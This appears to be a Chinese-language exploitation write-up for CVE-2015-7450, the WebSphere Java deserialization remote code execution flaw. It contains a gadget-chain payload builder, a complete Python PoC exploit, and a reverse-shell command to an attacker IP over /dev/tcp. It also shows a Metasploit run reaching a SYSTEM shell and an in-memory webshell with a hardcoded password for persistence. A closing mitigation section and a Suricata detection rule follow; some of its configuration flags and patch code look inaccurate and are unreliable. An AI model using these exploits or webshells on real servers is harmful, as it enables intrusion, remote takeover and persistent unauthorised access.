// 正常的序列化与反序列化过程
import java.io.*;

public class SerializationDemo {
    public static void main(String[] args) throws Exception {
        // 序列化
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(new HashMap<String, String>());
        oos.close();

        // 反序列化
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object obj = ois.readObject(); // 关键：未验证的 readObject()
        ois.close();
    }
}

// Apache Commons Collections - InvokerTransformer 核心代码
package org.apache.commons.collections.functors;

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            // 通过反射调用任意方法
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            throw new FunctorException("InvokerTransformer: " +
                "The method '" + iMethodName + "' on '" +
                input.getClass() + "' threw an exception", ex);
        }
    }
}

// 完整的 Gadget Chain 构造示例（概念验证）
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.*;
import java.lang.reflect.*;
import java.io.*;

public class CommonsCollectionsPayload {

    public static Object generatePayload(String command) throws Exception {
        // 第一步：创建 ChainedTransformer 串联多个转换操作
        Transformer[] transformers = new Transformer[] {
            // 1. 获取 Runtime.class
            new ConstantTransformer(Runtime.class),
            // 2. 获取 getRuntime 方法
            new InvokerTransformer("getMethod",
                new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }),
            // 3. 调用 getRuntime() 获取 Runtime 实例
            new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[] { null, new Object[0] }),
            // 4. 调用 exec() 执行系统命令
            new InvokerTransformer("exec",
                new Class[] { String.class },
                new Object[] { command })
        };

        // 串联所有 Transformer
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 第二步：利用 LazyMap 触发 Transformer
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

        // 第三步：利用 TiedMapEntry 触发 lazyMap.get()
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        // 第四步：利用 HashSet 反序列化触发 hashCode()
        // HashSet.readObject() -> HashMap.put() -> TiedMapEntry.hashCode()
        // -> TiedMapEntry.getValue() -> lazyMap.get() -> chainedTransformer.transform()
        HashSet set = new HashSet(1);
        set.add("foo");

        // 通过反射将 set.map.table[0].key 替换为 TiedMapEntry
        Field f = HashSet.class.getDeclaredField("map");
        f.setAccessible(true);
        HashMap innerSet = (HashMap) f.get(set);

        Field f2 = HashMap.class.getDeclaredField("table");
        f2.setAccessible(true);
        Object[] table = (Object[]) f2.get(innerSet);

        Object node = table[0];
        Field keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(node, entry);

        // 重置 transformer 数组为真正执行的命令
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);

        return set;
    }

    // 序列化 payload
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }
}

攻击流程：
1. 攻击者发送序列化的恶意对象到 WebSphere
2. WebSphere 接收数据并调用 ObjectInputStream.readObject()
3. readObject() 触发 Java 对象重建过程
4. 在反序列化 HashSet 时，调用其 readObject() 方法
5. HashSet.readObject() 重建 HashMap，调用 HashMap.put()
6. HashMap.put() 调用 key.hashCode()
7. TiedMapEntry.hashCode() 调用 getValue()
8. getValue() 调用 lazyMap.get(key)
9. LazyMap.get() 调用 factory.transform(key)
10. ChainedTransformer.transform() 依次执行所有 Transformer
11. 最终调用 Runtime.getRuntime().exec(command)
12. 任意命令在目标服务器上执行

// WebSphere SOAP Connector 示例（简化）
// 位置: com.ibm.ws.management.connector.soap.SOAPConnector

public class SOAPConnector {

    // 接收 SOAP 请求，可能包含序列化对象
    public void handleRequest(InputStream in) {
        try {
            ObjectInputStream ois = new ObjectInputStream(in);
            // 危险：未验证来源，直接反序列化
            Object request = ois.readObject();  // 漏洞触发点
            processRequest(request);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

// RMI/IIOP 端点同样受影响
// 位置: com.ibm.ws.orb.RMIUtils
public class RMIUtils {

    // RMI 通信中使用 Java 序列化
    public Object unmarshall(byte[] data) throws Exception {
        ByteArrayInputStream bis = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bis);
        return ois.readObject();  // 漏洞触发点
    }
}

// Apache Commons Collections 3.2.2 中的防御代码
package org.apache.commons.collections.functors;

public class InvokerTransformer implements Transformer, Serializable {

    // 新增：反序列化时检查是否在反序列化模式
    private static final long serialVersionUID = -4659888274614625071L;

    private void readObject(ObjectInputStream is)
            throws ClassNotFoundException, IOException {
        is.defaultReadObject();
        // 3.2.2 新增：检查是否允许反序列化
        // 如果 JVM 未启用反序列化，则抛出异常
        try {
            Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
            // 检查系统属性
            String disableSerial = System.getProperty(
                "org.apache.commons.collections.enableUnsafeSerialization", "false");
            if (!"true".equalsIgnoreCase(disableSerial)) {
                throw new UnsupportedOperationException(
                    "Serialization support is disabled for security reasons. " +
                    "Set system property 'org.apache.commons.collections.enableUnsafeSerialization=true' " +
                    "to enable at your own risk.");
            }
        } catch (ClassNotFoundException e) {
            throw new UnsupportedOperationException(
                "Serialization support requires Commons Collections classes");
        }
    }
}

# 步骤 1：下载 WebSphere（需要 IBM 账号）
# 访问：https://www.ibm.com/support/fixcentral/
# 选择 WebSphere Application Server 8.5.5.0

# 步骤 2：安装依赖
sudo apt update
sudo apt install -y libxtst6 libxi6 libxrender1

# 步骤 3：创建安装目录
sudo mkdir -p /opt/IBM/WebSphere
sudo chown -R $USER:$USER /opt/IBM

# 步骤 4：解压并安装
tar -xzf WAS_ND_V8.5.5_1_OF_3.zip
cd WAS
./install -options responsefile.nd.txt -silent

# 步骤 5：创建 Profile（示例：AppSrv01）
/opt/IBM/WebSphere/AppServer/bin/manageprofiles.sh \
  -create -profileName AppSrv01 \
  -profilePath /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 \
  -templatePath /opt/IBM/WebSphere/AppServer/profileTemplates/default \
  -nodeName node01 -cellName cell01 -hostName localhost \
  -enableAdminSecurity false

# 步骤 6：启动服务器
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/bin/startServer.sh server1

# 步骤 7：验证服务启动
netstat -tlnp | grep java
# 预期输出：多个端口包括 9080(HTTP), 9043(HTTPS), 9809(ORB), 9100(SIB)

# 安装 ysoserial（Java 反序列化漏洞利用工具）
# 方法一：下载预编译版本
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O /opt/ysoserial.jar

# 方法二：从源码编译
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.6-SNAPSHOT-all.jar /opt/ysoserial.jar

# 安装 Metasploit Framework（可选，用于后续利用）
sudo apt install metasploit-framework

# 安装 Java（攻击机需要）
sudo apt install -y openjdk-8-jdk
java -version

#!/usr/bin/env python3
"""
文件：cve_2015_7450_poc.py
用途：WebSphere Java 反序列化 RCE 漏洞完整 PoC
"""

import socket
import struct
import subprocess
import sys
import argparse

class WebSphereDeserializationExploit:

    def __init__(self, target_host, target_port=8880):
        self.target_host = target_host
        self.target_port = target_port
        self.timeout = 10
        self.ysoserial_path = "/opt/ysoserial.jar"

    def generate_payload(self, command, gadget="CommonsCollections1"):
        """
        使用 ysoserial 生成序列化 payload
        """
        try:
            result = subprocess.run(
                ["java", "-jar", self.ysoserial_path, gadget, command],
                capture_output=True,
                timeout=30
            )
            if result.returncode != 0:
                print(f"[-] Payload 生成失败: {result.stderr.decode()}")
                return None
            return result.stdout
        except Exception as e:
            print(f"[-] 执行 ysoserial 失败: {e}")
            return None

    def build_webSphere_packet(self, payload):
        """
        构建 WebSphere SOAP 通信格式数据包

        WebSphere 使用自定义的传输协议封装序列化对象
        """
        # IIOP/CDR 格式头部
        # GIOP Header: 魔数 + 版本 + 标志
        giop_header = b'GIOP\x01\x00\x01\x00'  # GIOP 1.0, Little Endian

        # 消息类型：Request = 0
        message_type = b'\x00'

        # 消息长度（4字节，大端序）
        message_length = struct.pack('>I', len(payload) + 12)

        # 组合完整的 GIOP 消息
        packet = giop_header + message_type + message_length + payload

        return packet

    def send_payload(self, payload):
        """
        发送 payload 到目标服务器
        """
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)

            print(f"[*] 连接到 {self.target_host}:{self.target_port}")
            sock.connect((self.target_host, self.target_port))

            # 发送 payload
            packet = self.build_webSphere_packet(payload)
            sock.sendall(packet)

            # 接收响应
            response = sock.recv(4096)

            sock.close()

            if response:
                print(f"[+] 收到响应: {len(response)} 字节")
                return True
            else:
                print("[-] 未收到响应")
                return False

        except socket.timeout:
            print("[-] 连接超时")
            return False
        except socket.error as e:
            print(f"[-] Socket 错误: {e}")
            return False
        except Exception as e:
            print(f"[-] 发送失败: {e}")
            return False

    def exploit(self, command):
        """
        执行完整的漏洞利用流程
        """
        print(f"[*] 目标命令: {command}")

        # 生成 payload
        print("[*] 生成反序列化 payload...")
        payload = self.generate_payload(command)
        if not payload:
            return False
        print(f"[+] Payload 大小: {len(payload)} 字节")

        # 发送 payload
        print("[*] 发送 exploit...")
        if self.send_payload(payload):
            print("[+] Exploit 发送成功！")
            print(f"[!] 如果命令执行成功，目标服务器应该已执行: {command}")
            return True
        else:
            print("[-] Exploit 发送失败")
            return False

def main():
    parser = argparse.ArgumentParser(
        description="WebSphere Java Deserialization RCE Exploit (CVE-2015-7450)"
    )
    parser.add_argument("target", help="目标 IP 地址")
    parser.add_argument("-p", "--port", type=int, default=8880,
                        help="目标端口（默认: 8880）")
    parser.add_argument("-c", "--command", required=True,
                        help="要执行的命令")
    parser.add_argument("-g", "--gadget", default="CommonsCollections1",
                        choices=["CommonsCollections1", "CommonsCollections2",
                                 "CommonsCollections3", "CommonsCollections4",
                                 "CommonsCollections5", "CommonsCollections6"],
                        help="Gadget chain 类型")

    args = parser.parse_args()

    exploit = WebSphereDeserializationExploit(args.target, args.port)
    exploit.exploit(args.command)

if __name__ == "__main__":
    main()

# 测试命令执行
python3 cve_2015_7450_poc.py \
    -t 192.168.1.100 \
    -p 8880 \
    -c "touch /tmp/cve_2015_7450_verified"

# 反弹 Shell（需要 base64 编码）
python3 cve_2015_7450_poc.py \
    -t 192.168.1.100 \
    -c "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'"

# 验证执行
ssh root@192.168.1.100 "ls -la /tmp/cve_2015_7450_verified"

# 启动 Metasploit
msfconsole

# 加载 WebSphere 反序列化模块
msf6 > use exploit/multi/http/ibm_websphere_java_deserialization

# 配置目标
msf6 exploit(ibm_websphere_java_deserialization) > set RHOSTS 192.168.1.100
msf6 exploit(ibm_websphere_java_deserialization) > set RPORT 8880
msf6 exploit(ibm_websphere_java_deserialization) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(ibm_websphere_java_deserialization) > set LHOST 192.168.1.50

# 执行攻击
msf6 exploit(ibm_websphere_java_deserialization) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Sending serialized payload...
[*] Sending stage (58008 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\IBM\WebSphere\AppServer\profiles\AppSrv01\bin> whoami
nt authority\system

/**
 * 文件：WebSphereMemoryShell.java
 * 用途：注入内存 Webshell，实现持久化访问
 * 原理：在反序列化过程中动态注册 Servlet Filter
 */

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class WebSphereMemoryShell implements Serializable {

    private static final long serialVersionUID = 1L;

    private void readObject(ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        in.defaultReadObject();

        try {
            // 获取当前线程的上下文
            Thread thread = Thread.currentThread();

            // 获取 WebSphere 线程的 ClassLoader
            ClassLoader loader = thread.getContextClassLoader();

            // 反射获取 WebContainer 类
            Class<?> webContainerClass = Class.forName(
                "com.ibm.ws.webcontainer.WebContainer", false, loader);

            // 获取 WebContainer 实例
            Field registryField = webContainerClass.getDeclaredField("registry");
            registryField.setAccessible(true);

            // 获取 ServletContext
            Method getServletsMethod = webContainerClass.getDeclaredMethod(
                "getServlets");
            getServletsMethod.setAccessible(true);
            Object servlets = getServletsMethod.invoke(null);

            // 动态注册恶意 Filter
            Class<?> filterClass = Class.forName(
                "javax.servlet.Filter", false, loader);

            Object evilFilter = Proxy.newProxyInstance(
                loader,
                new Class<?>[] { filterClass },
                new EvilFilterInvocationHandler()
            );

            // 注册 Filter 到 WebContainer
            // （具体实现依赖 WebSphere 版本）

            System.out.println("[+] Memory shell injected successfully!");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    // 恶意 Filter 的调用处理器
    static class EvilFilterInvocationHandler implements InvocationHandler {

        @Override
        public Object invoke(Object proxy, Method method, Object[] args)
                throws Throwable {

            String methodName = method.getName();

            if ("doFilter".equals(methodName)) {
                ServletRequest request = (ServletRequest) args[0];
                ServletResponse response = (ServletResponse) args[1];
                FilterChain chain = (FilterChain) args[2];

                HttpServletRequest req = (HttpServletRequest) request;
                HttpServletResponse resp = (HttpServletResponse) response;

                // 检查密码参数
                String pass = req.getParameter("pass");
                String cmd = req.getParameter("cmd");

                if ("secret123".equals(pass) && cmd != null) {
                    // 执行系统命令
                    String result = executeCommand(cmd);

                    resp.setContentType("text/plain");
                    resp.getWriter().write(result);
                    return null;
                }
            }

            return method.invoke(proxy, args);
        }

        private String executeCommand(String command) {
            try {
                ProcessBuilder pb = new ProcessBuilder(
                    System.getProperty("os.name").toLowerCase().contains("win")
                        ? new String[]{"cmd.exe", "/c", command}
                        : new String[]{"/bin/bash", "-c", command}
                );
                pb.redirectErrorStream(true);
                Process process = pb.start();

                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
                StringBuilder output = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }
                process.waitFor();
                return output.toString();
            } catch (Exception e) {
                return "Error: " + e.getMessage();
            }
        }
    }
}

当前版本              目标版本
---------              --------
WAS 7.0.x    ---->    WAS 9.0.5.x （跨版本升级）
WAS 8.0.x    ---->    WAS 9.0.5.x
WAS 8.5.x    ---->    WAS 8.5.5.18+ 或 WAS 9.0.5.x

升级工具：IBM Installation Manager + WebSphere Migration Toolkit

# 1. 禁用 Java 反序列化（激进方案）
# 在 JVM 启动参数中添加：
-Djava.io.Serializable=false  # 不推荐，会破坏正常功能

# 2. 使用 SerialKiller（白名单方案）
# 下载：https://github.com/ikkisoft/SerialKiller
# 配置：
-Djdk.xml.enableTemplatesImplClassLoader=true

# 3. 启用 WebSphere 安全过滤
# 在 admin console 中：
# Security > Global Security > Enable Java 2 security

<!-- 在 deployment.xml 中配置安全策略 -->
<!-- 位置：config/cells/cell01/applications/yourapp.ear/deployments/yourapp/deployment.xml -->

<deployment:Classloading xmi:id="Classloading_1"
    mode="PARENT_FIRST"
    enableOverride="true"
    allowedSerializers="java.lang.String,java.lang.Integer,java.util.HashMap"
    deserializeAction="DISALLOW"/>

# Suricata/Snort 规则示例
# 检测 Apache Commons Collections 反序列化攻击

alert tcp any any -> any any (msg:"CVE-2015-7450 WebSphere Deserialization Attack"; \
    flow:established,to_server; \
    content:"|AC ED 00 05|"; \
    content:"org.apache.commons.collections.functors.InvokerTransformer"; \
    nocase; \
    depth:2000; \
    classtype:trojan-activity; \
    sid:2015001; rev:1;)